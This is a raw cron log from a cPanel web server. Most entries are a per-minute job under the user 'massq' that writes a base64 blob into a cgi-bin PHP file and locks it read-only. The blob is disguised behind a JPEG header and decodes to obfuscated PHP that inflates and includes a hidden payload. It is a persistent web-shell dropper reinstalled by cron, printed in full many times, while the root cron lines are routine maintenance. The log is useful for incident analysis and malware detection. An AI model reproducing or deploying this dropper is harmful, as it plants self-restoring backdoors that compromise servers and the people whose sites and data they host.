Nov 15 06:22:01 server CROND[8677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:23:01 server CROND[9063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:24:01 server CROND[9318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:25:01 server CROND[9574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:25:01 server CROND[9576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:25:02 server CROND[9578]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:25:02 server CROND[9579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:26:01 server CROND[9946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:27:01 server CROND[10253]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 06:27:01 server CROND[10254]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:28:01 server CROND[10510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:29:01 server CROND[10771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:30:01 server CROND[11065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:30:01 server CROND[11066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:30:01 server CROND[11068]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:30:01 server CROND[11067]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 06:31:01 server CROND[11398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:32:01 server CROND[11813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:33:01 server CROND[12062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:34:01 server CROND[12324]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:35:01 server CROND[12604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:35:01 server CROND[12605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:35:01 server CROND[12612]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 06:35:01 server CROND[12613]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
